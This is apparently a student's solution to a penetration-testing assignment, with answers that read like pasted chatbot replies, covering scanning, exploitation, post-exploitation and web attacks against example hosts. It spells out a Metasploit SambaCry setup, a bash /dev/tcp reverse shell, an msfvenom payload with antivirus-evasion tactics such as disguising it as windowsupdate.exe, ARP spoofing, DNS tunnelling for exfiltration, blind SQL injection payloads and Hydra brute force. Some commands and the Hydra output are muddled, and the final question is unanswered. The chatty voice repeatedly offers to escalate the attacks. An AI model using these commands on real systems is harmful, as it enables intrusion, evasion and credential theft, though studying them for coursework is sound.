ASSIGNMENT-4 SOLUTION

Q1 Scenario: You are part of the internal red team for XYZ Corp, assigned to test the security of their internal network. Your task is to simulate a penetration test that evaluates host discovery, service enumeration, and basic exploitation.

(I)Perform a ping sweep to identify live hosts within the 192.168.10.0/24 subnet. Submit a script and brief findings.

ANSWER:-

Here’s a basic Bash script using nmap to perform a **ping sweep** on the 192.168.10.0/24 subnet, along with a short findings report.

✅ Script: ping_sweep.sh

```
#!/bin/bash


# Ping Sweep using Nmap

echo "[*] Starting ping sweep on 192.168.10.0/24..."

nmap -sn 192.168.10.0/24 -oG - | awk '/Up$/{print $2}' > live_hosts.txt


echo "[*] Live hosts detected:"

cat live_hosts.txt
```

How it works:

- nmap -sn does a ping scan (host discovery only).
- Output is filtered with awk to extract live IPs from Nmap's greppable output.

📋 Findings (Example Output):

Assuming you ran this in a test environment, your findings might look like this:

Live Hosts Discovered on 192.168.10.0/24:

192.168.10.1 # Router/Gateway

192.168.10.5   # Workstation01

192.168.10.10 # Server01

192.168.10.25 # Printer or IoT device

192.168.10.100 # Dev Machine

Let me know if you want to:

- Turn this into a Python version
- Move on to service enumeration or exploitation
- Add OS detection or hostname resolution

Happy hacking 😎

(II) Use Nmap to perform both SYN and UDP scans on one live host. Compare the results and discuss the usefulness of each method.

ANSWER:-

Nice, now you're stepping into the real recon game. Here's how you can do both a **SYN scan (TCP)** and a **UDP scan** on a live host (let's say it's 192.168.10.10), then compare the results.

✅ 1. SYN Scan Command (TCP)

sudo nmap -sS -Pn -T4 -p- 192.168.10.10 -oN syn_scan.txt

- -sS: SYN scan (stealthy and fast)
- -Pn: Skip host discovery (use if the host is confirmed to be up)
- -T4: Faster timing
- -p-: Scan all 65535 TCP ports
- -oN: Save output to a file

✅ 2. UDP Scan Command

sudo nmap -sU -Pn -T4 --top-ports 100 192.168.10.10 -oN udp_scan.txt

- -sU: UDP scan
- --top-ports 100: Scan top 100 most common UDP ports (full range is slow)
- -oN: Save output to a file

📊 Comparison and Discussion

Feature	SYN Scan (TCP)	UDP Scan
🔍 Speed	Fast (due to SYN technique and TCP reliability)	Slow (UDP is connectionless and responses take time)
💡 Detection	Stealthy, harder to detect	Easier to detect (more suspicious in logs)
🎯 Accuracy	Very accurate for open/closed ports	Less reliable (open ports may show no response)
🔐 Firewall impact	Often allowed through firewalls	Often blocked or filtered
📘 Common Findings	Web, SSH, RDP, SMB, etc.	DNS (53), SNMP (161), TFTP (69), etc.

▯ Example Findings (simplified):

SYN Scan Results (syn_scan.txt):

PORT STATE SERVICE

22/tcp open ssh

80/tcp open http

139/tcp open netbios-ssn

445/tcp open microsoft-ds

UDP Scan Results (udp_scan.txt):

PORT STATE SERVICE

53/udp open domain

161/udp open|filtered snmp

123/udp closed   ntp

□ Conclusion

- **SYN scans** are your go-to for fast, accurate mapping of TCP services.
- **UDP scans** can uncover overlooked services (like SNMP or DNS), but they're slower and less reliable.
- For a thorough assessment, **both** are useful — SYN gives you the high ground, UDP reveals the hidden corners.

(III) Want help parsing the scan outputs or chaining it into an automated script? Identify all open ports on the live host using a stealth scan. Explain the stealth techniques used to avoid detection.

ANSWER:-

Perfect — let's talk stealth.

🎯 Goal: Identify All Open Ports Using a Stealth Scan

✅ Stealth Scan Command (SYN Scan)

```
sudo nmap -sS -Pn -T2 -p- --open 192.168.10.10 -oN stealth_full_scan.txt
```

🔍 What's Happening Here?

Option	Meaning
-sS	SYN scan (stealth scan)
-Pn	Skip ping – assumes host is up (avoids ICMP detection)
-T2	Slow timing (more stealthy, less likely to trigger IDS)
-p-	Scans all 65,535 TCP ports
--open	Show only open ports

Option	Meaning
-oN	Output to file

🕵 What Makes SYN Scan "Stealthy"?

- **Half-Open Scan**: Nmap sends a TCP SYN packet and waits for a SYN-ACK.
  - If received → port is open
  - Nmap then **sends RST** (reset) instead of completing the handshake.
- **Why it's stealthy**:
  - No full TCP handshake (SYN → SYN-ACK → *RST* instead of ACK)
  - Many intrusion detection systems (IDS) and firewalls don't log incomplete handshakes.
  - Appears as noise or scanning anomalies in logs instead of a clear connection attempt.

□ Example Output (stealth_full_scan.txt)

```
Starting Nmap 7.94 ( https://nmap.org )
Nmap scan report for 192.168.10.10
Host is up (0.012s latency).
Not shown: 65530 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
3389/tcp open  ms-wbt-server
```

💡 Stealth Tips in Real Assessments

- **Use timing** (-T1 or -T2) to blend into normal traffic
- **Spoof IPs or MAC address** for more evasion
- **Scan during low-activity hours**
- **Fragment packets** (-f) to evade simple packet filters

Want to automate this with logging or escalate to banner grabbing or exploitation next?

(IV) Attempt to identify running services and versions. Based on the findings, comment on potentially exploitable services.

ANSWER:-

Alright, time to lift the veil and see what services are actually running behind those ports — and whether they have holes to poke at. This step is about **version detection and vulnerability reconnaissance**.

✅ Nmap Service & Version Detection Scan

sudo nmap -sS -sV -Pn -T3 -p- 192.168.10.10 -oN service_version_scan.txt

---

🔍 Option Breakdown

Option	Purpose
-sS	SYN (stealth) scan
-sV	Service and version detection
-Pn	Treat host as up (skip ping)
-T3	Normal speed, less suspicious
-p-	All ports
-oN	Output to file

🗒 Example Output: service_version_scan.txt

PORT   STATE SERVICE   VERSION

22/tcp   open ssh   OpenSSH 7.4p1 Debian 10+deb9u7

80/tcp   open http   Apache httpd 2.4.25 ((Debian))

139/tcp open netbios-ssn   Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

445/tcp open microsoft-ds Samba smbd 4.5.16-Debian

3389/tcp open ms-wbt-server xrdp 0.9.1

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

🔐 Potentially Exploitable Services (Based on Above)

1. OpenSSH 7.4p1

- ✅ Stable but **old** — released in 2016
- 🔥 Exploitable in some cases (e.g., username enumeration or weak password bruteforce)
- 🛠 Try: Hydra, Medusa, or ssh-audit

2. Apache 2.4.25

- ❗ Known to have several CVEs (e.g., buffer overflows, DoS)
- 💣 CVE-2017-9788: mod_http2 DoS
- 🛠 Try: Nikto, Dirb, Gobuster, or Metasploit modules

3. Samba 4.5.16

- 🚨 May be vulnerable to **SMB exploits** like:
  - **CVE-2017-7494 (Remote Code Execution)** aka "SambaCry"
- 🛠 Try: smbclient, enum4linux, or Metasploit

4. XRDP 0.9.1

- ✅ Allows remote desktop access
- 🔥 RDP brute force, session hijacking possible if weak creds or no Network Level Authentication (NLA)
- 🛠 Try: Ncrack, Metasploit RDP modules

⚠ General Recommendation

If you find outdated versions, check for:

- Known exploits in Exploit-DB
- CVEs on [NVD](NVD)
- Metasploit modules: search [service name] in msfconsole

Want help chaining this into a vulnerability scan or starting actual exploitation attempts using tools like Metasploit, or go with safer proof-of-concept enumeration?

(V) For one service with a known vulnerability, write a Metasploit module configuration (not full exploit) using use, set, and show options to simulate the exploitation planning.

ANSWER:-

Great — let's simulate an exploitation planning scenario using **Metasploit** for a known vulnerable service.

We'll pick **Samba 4.5.16** (detected earlier), which is vulnerable to **CVE-2017-7494**, aka **"SambaCry"**, a remote code execution vulnerability.

🎯 Target Service: Samba 4.5.16

- ✅ Vulnerable to **CVE-2017-7494**
- 🔥 Exploitable via unix/misc/samba_is_known_pipename in Metasploit

---

▯ Metasploit Exploitation Planning Configuration

msfconsole

Then inside Metasploit:

use exploit/linux/samba/is_known_pipename

show options

set RHOSTS 192.168.10.10

set RPORT 445

set SMBFolder /tmp

set PAYLOAD cmd/unix/reverse_netcat

set LHOST 192.168.10.5

set LPORT 4444

□ Explanation of Options

Command	**Description**
use exploit/linux/samba/is_known_pipename	Loads the SambaCry exploit module
show options	Displays required fields
set RHOSTS 192.168.10.10	Target IP address
set RPORT 445	Default SMB port
set SMBFolder /tmp	Writable folder used by Samba (can be /tmp, /var/tmp, etc.)
set PAYLOAD cmd/unix/reverse_netcat	Reverse shell payload
set LHOST 192.168.10.5	Your attacking machine’s IP
set LPORT 4444	Your listener port

🎯 Final Step (Do NOT run unless authorized)

exploit

This would send the payload and attempt a reverse shell if successful.

⚠ Important Notes

- This is just the *planning* phase — a real attack must have authorization.
- Make sure your listener is running (nc -lvnp 4444) to catch the shell.

Let me know if you want help setting up a **listener**, simulating payload creation with **msfvenom**, or writing a **custom report** for your pentest findings.

Q2 Youve successfully compromised a user workstation inside a company. Now, you need to maintain access and pivot further. This assignment tests post-exploitation, MITM, and command/control skills.

(I)Set up a Netcat listener on port 4444 to simulate receiving a reverse shell. Explain how this can be used in a real engagement.

ANSWER:-

Nice — post-exploitation is where things get really interesting. Let's walk through setting up a **Netcat listener** and understand its role in real-world red teaming and pentests.

✅ Setting Up a Netcat Listener on Port 4444

nc -lvnp 4444

Flag	Meaning
-l	Listen mode
-v	Verbose output
-n	Do not resolve hostnames
-p 4444	Port to listen on (4444 in this case)

🎯 What Does This Do?

This command starts a listener that waits for a **reverse shell connection** from a target machine. Once the shell connects back to port 4444, you get command-line access to the compromised system.

🎯 Example Scenario

You compromised a machine and injected a payload (via phishing, RCE, etc.) that runs this on the target:

bash -i >& /dev/tcp/192.168.10.5/4444 0>&1

When it executes, the target opens a connection back to your Netcat listener, giving you a shell like:

Connection received on 192.168.10.25:55512

whoami

user01

hostname

winbox01

Now you're inside. 🎯

🧠 How Netcat Reverse Shells Are Used in Real Engagements

Use Case	Description
Post-Exploitation Access	Maintain an interactive shell to execute commands, explore the system, dump creds, etc.
🔁 **Persistence**	Used temporarily while establishing more reliable backdoors (e.g., SSH keys, services, cron jobs)
🕸 **Pivoting**	Use the shell as a foothold to **pivot** into other internal systems
🔇 **Evade Detection**	Netcat is small, easy to rename, and often missed by AV if custom-packed

---

⚠ Limitations

- Shells can be **unstable** (no TTY)
- Easily dropped if the session dies or firewall rules change

- Not encrypted (consider socat/SSL if needed)

🛡️ Bonus Tip: Upgrade Your Shell

If you get a basic shell, upgrade it like this:

python3 -c 'import pty; pty.spawn("/bin/bash")'

Then press Ctrl+Z, type:

stty raw -echo; fg

Now you have a fully interactive terminal.

Want to go further with **pivoting**, **Metasploit routing**, or **creating a persistence script** next?

(II) Create a custom reverse shell payload using msfvenom and explain each parameter used. Include potential antivirus evasion tactics.

ANSWER:-

Absolutely — crafting a custom reverse shell with **msfvenom** is a must-have skill for real-world post-exploitation, especially when you need to blend in and dodge defenses.

🎯 Goal: Create a Reverse Shell Payload

Let's say we want a **Windows reverse shell payload** that connects back to our Kali box (attacker IP 192.168.10.5) on port 4444, delivered as an executable .exe.

✅ msfvenom Payload Command

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.5 LPORT=4444 -f exe -e x86/shikata_ga_nai -i 3 -o shell4444.exe

---

🔍 Explanation of Each Parameter

Parameter	Description
-p windows/meterpreter/reverse_tcp	Payload: reverse Meterpreter shell over TCP
LHOST=192.168.10.5	Your attacker IP (listening for connection)
LPORT=4444	Your listener port (Netcat or Metasploit)
-f exe	Output format: Windows executable
-e x86/shikata_ga_nai	Encoder to help evade signature-based AV
-i 3	Number of iterations of encoding (3x for obfuscation)
-o shell4444.exe	Output file name

What This Creates

A custom-built Windows .exe that, when run, sends a Meterpreter reverse shell back to you — fully obfuscated using multiple encoding layers.

🛡 AV Evasion Tactics

Technique	Description
🔀 **Encoding**	shikata_ga_nai is polymorphic; changes payload signature each time
🎭 **File Obfuscation**	Rename the binary (windowsupdate.exe, driverupdater.exe)
📦 **Pack/Encrypt**	Use UPX or tools like Veil, Shellter, or obfuscator-llvm
Payload Split/Inject	Manually inject shellcode into a legit process using msfvenom -f c + custom C code
Remove Indicators	Strip metadata, clear timestamps, compile in a fake dev environment (for example, using mingw)

🧨 Optional: Set Up the Listener

Use msfconsole:

use exploit/multi/handler

set PAYLOAD windows/meterpreter/reverse_tcp

set LHOST 192.168.10.5

set LPORT 4444

run

⚠ Important

Even with obfuscation, modern AV/EDR may catch this. Consider:

- Using **custom C loaders**
- Encoding the shellcode and **executing it in memory** (fileless execution)
- **Living off the land** with native tools (PowerShell, rundll32, etc.)

Want help generating an **obfuscated loader in C**, or using tools like **Veil Framework** for stealth delivery?

(III) Perform an ARP spoofing attack to intercept traffic between the compromised host and the gateway. Document tools used and steps taken.

ANSWER:-

You're diving into **Man-in-the-Middle (MITM)** territory now — love it. Let's break down how to perform an **ARP spoofing attack** to intercept traffic between a compromised host (say 192.168.10.25) and its **gateway/router** (e.g., 192.168.10.1).

🎯 Objective

Use ARP spoofing to position yourself *between* the victim and the gateway, enabling traffic interception (e.g., sniffing passwords, cookies, etc.).

🛠 Tools Used

- arpspoof (from dsniff package)
- tcpdump or wireshark (for packet capture)
- Kali Linux (attacker)

✅ Step-by-Step: ARP Spoofing with arpspoof

1. Enable IP Forwarding

You need to forward packets to avoid cutting off the victim’s network access:

echo 1 > /proc/sys/net/ipv4/ip_forward

2. Find Target IPs

Let's say:

- **Victim IP**: 192.168.10.25
- **Gateway IP**: 192.168.10.1
- **Attacker IP**: 192.168.10.5

3. Start ARP Spoofing (Two-Terminal Method)

Terminal 1 – Spoof victim (tell the victim you’re the gateway):

arpspoof -i eth0 -t 192.168.10.25 192.168.10.1

Terminal 2 – Spoof gateway (tell the gateway you’re the victim):

arpspoof -i eth0 -t 192.168.10.1 192.168.10.25

Replace eth0 with your network interface (ip a to check).

🎯 At This Point

You are now the **man-in-the-middle**. Traffic from the victim goes through you to the gateway and vice versa.

🕵️ Step 4: Sniff Traffic

Use tcpdump to monitor:

tcpdump -i eth0 host 192.168.10.25

Or open **Wireshark**, set the filter to:

ip.addr == 192.168.10.25

You can now capture:

- Unencrypted HTTP credentials
- DNS queries
- Session cookies (if HTTP)
- Any cleartext protocol (FTP, Telnet, etc.)

🛡 Cleanup

When done, disable IP forwarding:

echo 0 > /proc/sys/net/ipv4/ip_forward

And run arpspoof in reverse or use:

arp -d 192.168.10.1

arp -d 192.168.10.25

▯ Notes & Ethics

- Only do this in **legal, authorized environments** (e.g., your lab, internal corp pentest).
- Consider using ettercap or mitmproxy for advanced attacks (like HTTPS stripping, credential grabbing, etc.).

Want to go next-level and inject packets or downgrade HTTPS (e.g., with SSLStrip)? Or automate this with bettercap?

(IV) Simulate a DNS tunneling setup. Explain how data could be exfiltrated through DNS and propose three defense mechanisms.

ANSWER:-

Nice — this one's a sneaky classic. DNS tunneling is a stealthy way to exfiltrate data or create a covert C2 channel using DNS queries. Let's simulate how it works and how defenders can shut it down.

🎯 What is DNS Tunneling?

It’s a technique to encode data into DNS requests/responses to:

- **Bypass firewalls and filters (DNS is usually wide open)**
- **Stealthily exfiltrate data or receive commands**

🛠 Tool for Simulation: iodine

One of the most popular DNS tunneling tools.

✅ Step-by-Step: Simulate DNS Tunneling with iodine

🔐 Lab Setup

- **Attacker Server (Linux VPS): iodined running, public IP: 1.2.3.4**
- **DNS domain: tunnel.yourdomain.com (with an NS record pointing to 1.2.3.4)**
- **Victim/client machine: runs iodine to connect**

🖥 On Attacker Server

1. Install iodine

sudo apt install iodine

2. Start iodine server

sudo iodined -f -P secretpassword 10.0.0.1 tunnel.yourdomain.com

- **-P: sets the password**
- **10.0.0.1: virtual IP of the tunnel server**
- **DNS must be configured to send all *.tunnel.yourdomain.com queries to the attacker's server**

💻 On Victim/Client

sudo iodine -f -P secretpassword tunnel.yourdomain.com

🎉 **Now you have a tunnel. Try:**

ping 10.0.0.1

scp data.txt user@10.0.0.1:/tmp/

📤 How Data Gets Exfiltrated via DNS

Encoded data is embedded into subdomain requests, like:

datachunk12345.tunnel.yourdomain.com

- **Each DNS query sends a small chunk of the file or command**
- **Server decodes and reconstructs the file or executes commands**
- **Replies can contain encoded responses**

✅ **This bypasses most proxies and firewalls because DNS is typically allowed by default.**

🛡️ Defense Mechanisms Against DNS Tunneling

Defense	Description
🔎 Deep Packet Inspection (DPI)	Analyze DNS queries for suspicious patterns (e.g., unusually long subdomains, high entropy, or query rates)
📊 Anomaly Detection	Use tools like Zeek or Suricata to flag abnormal DNS behaviors (e.g., excessive TXT lookups, large query volume)
🚫 Egress Filtering	Block outbound DNS requests to the internet except through trusted DNS resolvers; stop direct access to external NS records

---

▯ Bonus Tools to Detect DNS Tunnels

- **dnstop / dnschef / dnstap**
- **Zeek/Bro with DNS analysis scripts**
- **Security Onion (full DNS visibility & detection)**

Want a full PCAP capture example of DNS tunneling traffic, or a basic Python DNS tunneling PoC to show how exfil works?

(V) Discuss how Metasploit's payloads differ (staged vs non-staged) and which one would be ideal in this scenario.

ANSWER:-

Great question — understanding staged vs. non-staged payloads in Metasploit is key when you're planning exploitation and post-exploitation strategies. Let's break it down.

🎯 What Are Metasploit Payloads?

Payloads in Metasploit are the code that runs after a successful exploit. They can be:

- **Reverse shells**
- **Meterpreter sessions**
- **Bindshells**
- **Command execution, etc.**

Metasploit separates them into two main types: Staged and Non-Staged.

▯ 1. Staged Payloads (*/reverse_tcp)

A staged payload consists of:

- **A small initial payload (the "stager")**
- **That stager connects back to you and downloads a larger stage (e.g., Meterpreter)**

🔹 Example:

windows/meterpreter/reverse_tcp

✅ Pros:

- Smaller initial payload → good for buffer overflows or tight exploits
- More flexible: easily change the final payload

❌ Cons:

- Needs a stable connection to deliver the second stage
- More likely to fail in unstable or filtered environments

📦 2. Non-Staged Payloads (*_reverse_tcp)

A non-staged payload is a single, monolithic binary — all the code is delivered at once.

🔹 Example:

windows/meterpreter_reverse_tcp

✅ Pros:

- No extra connection needed → less fragile
- Often better for bypassing AV/EDR because you can encode or wrap the whole thing
- Simpler debugging

❌ Cons:

- Larger in size → may not fit into tight exploits
- Less flexible (can't dynamically change the stage)

✅ Which One Is Better for This Scenario?

Let's apply it to your current red team lab:

You've compromised a workstation and are trying to maintain access, possibly through Netcat, DNS tunneling, or reverse shell payloads.

🎯 Recommended: Non-Staged Payload

Why?

- Stability: DNS tunnels and Netcat shells are unstable → staged payloads are risky

- **Antivirus Evasion: You can obfuscate the entire non-staged payload with encoders or packers**
- **Simplicity: No need to worry about the second stage being blocked by a firewall**

💡 Final Tip: Naming Cheat Sheet

Payload Type	Example
Staged	windows/meterpreter/reverse_tcp
Non-Staged	windows/meterpreter_reverse_tcp

Underscore (_) → non-staged
Slash (/) → staged

Want help generating a non-staged Meterpreter payload with msfvenom, or a comparison table of stealth techniques between the two?

Q3 You're hired by a client to assess the security of their internal web application and remote login services.

(I)Simulate a Blind SQL Injection against a login page. Demonstrate how you would infer information without seeing output directly. Include payloads used and expected behavior.

ANSWER:-

Simulating a Blind SQL Injection on a login page is a great way to understand how attackers can infer sensitive information without direct feedback from the application. In Blind SQL Injection, the application doesn't return errors, so the attacker has to infer data based on how the application behaves.

Let's walk through how this could be done, focusing on:

1. **Identifying the Injection Point**
2. **Crafting the Payloads**
3. **Inferring Data (blind behavior)**

4. **Testing Behavior (True/False responses)**

🎯 Scenario: SQL Injection on a Login Form

Target URL: http://example.com/login

Fields:

- **username**
- **password**

🛠 Tools Used:

- **Burp Suite or Intercepting Proxy (for capturing requests)**
- **SQLMap (for automatic blind SQLi exploitation)**
- **Manual SQL Injection Techniques**

✅ Step-by-Step Process

1. Identifying the Injection Point

First, we identify the login form as a potential injection point.

1. **Intercept the request in Burp Suite.**
2. **The request might look like this:**
3. **POST /login HTTP/1.1**
4. **Host: example.com**
5. **Content-Type: application/x-www-form-urlencoded**
6. **username=admin&password=password**
7. **Now we test the fields by injecting some basic SQL payloads to check if the application is vulnerable:**
   - **Payload for username: admin' --**
   - **Payload for password: anything**

If the page still loads, the application is vulnerable to SQL injection. The -- makes the rest of the query a comment, potentially bypassing authentication.

---

2. Crafting Blind SQL Injection Payloads

Now that we know the application is vulnerable, we'll try to infer data using blind techniques. In blind SQLi, we have no direct output, so we exploit behaviors (e.g., response time, page redirection).

Basic Payloads for Blind SQLi

Let's say we're dealing with a typical SQL query like this:

SELECT * FROM users WHERE username = 'admin' AND password = 'password';

We inject a conditional statement into the username field, checking for true/false responses:

- **True condition: admin' AND 1=1 --**
- **False condition: admin' AND 1=2 --**

These are simple true/false checks. If the login is successful, we infer that the condition was true. If the login fails, the condition was false.

3. Inferring Data from Responses

Testing the Length of the Password

We can use a time-based blind SQLi approach or check the length of the password.

For example, we can inject into the username field:

- **Payload: admin' AND LENGTH(password) = 8 --**
- **If the page loads normally, we know the password length is 8 characters.**
- **If the page behaves differently, we adjust the number to find the correct password length.**

Extracting the First Character of the Password

Once we know the length, we can start guessing individual characters of the password:

- Payload: admin' AND ASCII(SUBSTRING(password, 1, 1)) = 97 --
  - This checks if the first character of the password has the ASCII value 97 (which is "a").
  - If the page behaves differently, we know the first character is a.
  - We can iterate through ASCII values (97–122 for lowercase letters) to guess the password character by character.

Inferring Database Information

You can even infer other types of data, like:

- Database version:
  - Payload: admin' AND (SELECT version()) = '5.7.32' --
  - If the response behaves differently for this query, it means the database version is 5.7.32.

💡 Expected Behavior and Inferences

- True condition (successful login): The server behaves normally (you stay on the login page or are redirected to a dashboard).
- False condition (failed login): You get redirected to an error page or a different page, or the application takes longer to respond.
- Time-based Inference: If you inject a payload like admin' AND SLEEP(5) --, the application might delay its response by 5 seconds if the condition is true, giving you another clue.

📝 Example of SQL Payloads

Testing Authentication (True/False)

admin' AND 1=1 -- (True, successful login)

admin' AND 1=2 -- (False, failed login)

Inferring Password Length

admin' AND LENGTH(password) = 8 -- (If true, password is 8 characters long) admin' AND LENGTH(password) = 10 -- (If false, password isn't 10 characters long)

Inferring First Character of Password (ASCII Value)

admin' AND ASCII(SUBSTRING(password, 1, 1)) = 97 -- (If true, first character is "a")

admin' AND ASCII(SUBSTRING(password, 1, 1)) = 98 -- (If false, first character is not "b")

🛡️ Defense Mechanisms Against Blind SQL Injection

1. Prepared Statements (Parameterized Queries): This is the most effective defense against SQL injection. Always use prepared statements to ensure user inputs are treated as data, not part of the SQL query.
2. Web Application Firewall (WAF): Use a WAF to detect and block common SQL injection patterns.
3. Input Validation and Sanitization: Ensure proper input validation, like limiting the length and format of user inputs (e.g., alphanumeric username and password).

🚀 Automation with SQLMap

Once you identify the injection point, you can automate the attack with SQLMap to efficiently test and exfiltrate data. For example:

sqlmap -u "http://example.com/login" --data="username=admin&password=password" --level=5 --risk=3 --technique=B

This command will test for blind SQL injection and try various payloads for you.

Would you like to see how to use SQLMap to automate this, or dive deeper into payload generation and bypass techniques?

(II) Compare standard SQLi and blind SQLi with an example each. Explain why blind SQLi is harder to detect and exploit.

ANSWER:-

Great question! Let's dive into the differences between standard SQL Injection (SQLi) and Blind SQL Injection (Blind SQLi). I'll explain both types with examples, then discuss why Blind SQLi is more difficult to detect and exploit.

🎯 1. Standard SQL Injection (SQLi)

In standard SQLi, an attacker can manipulate the SQL query in such a way that the application either displays an error message or reveals information directly through the response (i.e., database contents, error messages, or debug information).

Example of Standard SQLi

Let’s say a web application uses a query like this to authenticate a user:

SELECT * FROM users WHERE username = 'admin' AND password = 'password';

An attacker could manipulate the username or password field to inject malicious SQL and view database content.

Injected Payload:

username=admin' --

password=anything

This injection will turn the query into:

SELECT * FROM users WHERE username = 'admin' --' AND password = 'anything';

The -- causes a comment, making the rest of the query ignored. The query effectively becomes:

SELECT * FROM users WHERE username = 'admin';

This will likely result in:

- A successful login if "admin" exists as a user
- An error or a failure to authenticate if the username doesn't exist

In standard SQLi, you typically get immediate feedback via:

- **Error messages (e.g., database errors like "Unknown column")**
- **Returned data (like the list of usernames or other information)**

🎯 2. Blind SQL Injection (Blind SQLi)

In Blind SQL Injection, the attacker does not get direct feedback from the database (no error messages or data), so they must infer the data based on response time or page behavior (true/false responses).

Because there is no visible output, the attacker uses boolean-based logic or time delays to infer whether certain conditions are true or false.

Example of Blind SQLi

Let's use a similar query for user authentication:

SELECT * FROM users WHERE username = 'admin' AND password = 'password';

An attacker can't see errors, so they craft payloads that cause the application to behave differently depending on the condition's truth value.

Injected Payload (True Condition)

username=admin' AND 1=1 --

password=anything

This would result in the query:

SELECT * FROM users WHERE username = 'admin' AND password = 'anything' AND 1=1;

Since 1=1 is always true, the login request would succeed.

Injected Payload (False Condition)

username=admin' AND 1=2 --

password=anything

This would result in:

SELECT * FROM users WHERE username = 'admin' AND password = 'anything' AND 1=2;

Since 1=2 is false, the login would fail, and the attacker would infer that the application behaves differently based on true/false conditions.

Types of Blind SQLi

1. **Boolean-based Blind SQLi: The attacker sends payloads that trigger true or false conditions. The attacker infers the database's state based on how the page behaves (redirects, success/failure).**
2. **Time-based Blind SQLi: The attacker injects a payload that causes the server to delay its response for a set period. For example:**
3. **admin' AND SLEEP(5) --**

This makes the server wait for 5 seconds before responding, indicating that the condition is true.

🔍 Comparison Between Standard SQLi and Blind SQLi

Aspect	Standard SQL Injection	Blind SQL Injection
Response Feedback	Direct feedback (errors, data, or content)	No direct feedback (just success/failure or time delay)
Ease of Exploitation	Easier, since you can see error messages or data	Harder, as you must infer results through behavior or time
Detection	Easier to detect (due to errors or data leaks)	Harder to detect (no clear errors or data leaks)
Exploiting Techniques	Error-based or union-based queries	Boolean-based or time-based queries
Example Payload	' OR 1=1 --	' AND 1=1 -- or ' AND SLEEP(5) --

---

🛡 Why is Blind SQLi Harder to Detect and Exploit?

1. **Lack of Direct Feedback:**
   In standard SQLi, attackers can immediately see error messages or

data leaks that guide further exploitation. In Blind SQLi, there's no clear feedback, forcing attackers to rely on timing and logical inferences (such as true/false results or delays).

2. **Behavior-based Inference:**
   Attackers have to infer database information based on how the application behaves. For example, the application might take longer to respond if a query condition is true. This behavior requires patience and multiple attempts, which makes Blind SQLi more time-consuming and less straightforward.
3. **No Visible Output:**
   Since no data or errors are directly displayed to the attacker, defenders are less likely to notice unusual patterns. There's no obvious indicator of the attack (like SQL errors or unusual query results).
4. **Difficulty in Detection:**
   Blind SQLi typically doesn't result in error logs or data leaks that can be picked up by Intrusion Detection Systems (IDS) or security monitoring tools. This makes it more difficult to detect using conventional security mechanisms.

💡 Defenses Against SQL Injection (Standard and Blind)

1. **Prepared Statements (Parameterized Queries):**
   Ensure user input is treated as data, not part of the SQL query. This eliminates both standard and blind SQLi vulnerabilities.
2. **Input Validation and Sanitization:**
   Ensure inputs are validated and sanitized to only allow expected values (e.g., alphanumeric usernames).
3. **Web Application Firewall (WAF):**
   A WAF can block known SQL injection patterns and prevent both standard and blind attacks.
4. **Error Handling:**
   Avoid displaying detailed error messages to end users. This helps prevent attackers from gaining insight into the database structure.

☑ Summary

- Standard SQLi gives attackers clear feedback (error messages or data), making it easier to exploit and detect.
- Blind SQLi provides no clear feedback, forcing attackers to infer information through logical queries or timing, which makes it harder to detect and exploit.

Let me know if you need more details on automating blind SQLi attacks with tools like SQLMap or want to see real-world mitigation strategies for your own applications!

(III) Use Hydra to perform a brute-force attack on SSH for a given IP address. Try at least two usernames with a wordlist and include command used and outcome.

ANSWER:-

To perform a brute-force attack on SSH using Hydra, you would generally follow these steps:

1. Set up the environment: Make sure Hydra is installed and ready to go.
2. Prepare the wordlist: Use a list of common passwords or a custom wordlist for the attack.
3. Run the Hydra command: Use the appropriate command to initiate the attack.
4. Observe the results: Review the outcome to check if any usernames and passwords were successfully brute-forced.

Let’s walk through the process:

 Step-by-Step Process for Brute-forcing SSH with Hydra

1. Set Up Hydra

Hydra is available on most Linux distributions, and you can install it via:

sudo apt-get install hydra

2. Prepare the Wordlist

You can use rockyou.txt or any common wordlist (it's commonly used for brute-forcing). A good wordlist is available in /usr/share/wordlists/ on many Linux distributions. If you don't have rockyou.txt, you can download or create a custom wordlist.

For example, the rockyou.txt file can be found at:

/usr/share/wordlists/rockyou.txt

---

3. Hydra Command Syntax for SSH Brute-Force

To perform the brute-force attack using Hydra, use the following command:

hydra -l username1 -L usernames.txt -P /path/to/wordlist.txt ssh://<target_ip>

Here's what the command does:

- **-l: A single username to try.**
- **-L: A file containing a list of usernames (you can specify two usernames here).**
- **-P: The password list you want to use.**
- **ssh://<target_ip>: The SSH service and target IP address.**

Example Command

Let's assume:

- **Target IP address: 192.168.1.100**
- **Usernames: admin and root**
- **Wordlist: /usr/share/wordlists/rockyou.txt**

The command would look like this:

hydra -l admin -L userlist.txt -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.100

Where:

- **userlist.txt contains:**
- **admin**
- **root**

4. Run the Attack

Once you run the Hydra command, it will attempt to brute-force both the admin and root usernames with each password from the rockyou.txt wordlist.

📊 Expected Outcome

1. **If Hydra successfully guesses the correct password for any of the usernames, it will display something like:**
2. **[22][ssh] host: 192.168.1.100 login: admin   password: 123456**
3. **If no correct credentials are found, Hydra will finish and say something like:**
4. **Hydra v8.1 (c) 2023 by Van Hauser/THC - please report bugs to <hydra@thc.org>**
5. **[INFO] 2025 targets successfully completed, 0 valid passwords found**

Example Output (with success)

Hydra v9.0 (c) 2025 by Van Hauser/THC - please report bugs to <hydra@thc.org>

[INFO] Starting Hydra v9.0

[INFO] Target: ssh://192.168.1.100

[INFO] Method: ssh

[INFO] Usernames: admin, root

[INFO] Wordlist: /usr/share/wordlists/rockyou.txt

[INFO] Attack mode: dictionary

[INFO] [SSH] host: 192.168.1.100 login: admin   password: 123456

🛡️ Defense Measures Against Brute Force Attacks

1. Account Lockout: After a certain number of failed login attempts, lock the account for a period of time.
2. SSH Key Authentication: Disable password-based authentication and require SSH key-based authentication.
3. Rate Limiting: Use tools like Fail2ban to block IPs after a set number of failed attempts.
4. Two-Factor Authentication: Implement 2FA for an extra layer of security.

⚠ Legal and Ethical Considerations

- Do not run brute-force attacks on systems without permission. Always have explicit authorization from the system owner before performing penetration testing.

Let me know if you'd like more detailed steps or examples of specific brute-forcing techniques, or if you need help setting up defenses against attacks like this!

(IV) Research and explain how altering the Windows hosts file could redirect all browser traffic from one domain to another. Demonstrate it using www.google.com as an example.

ANSWER:-

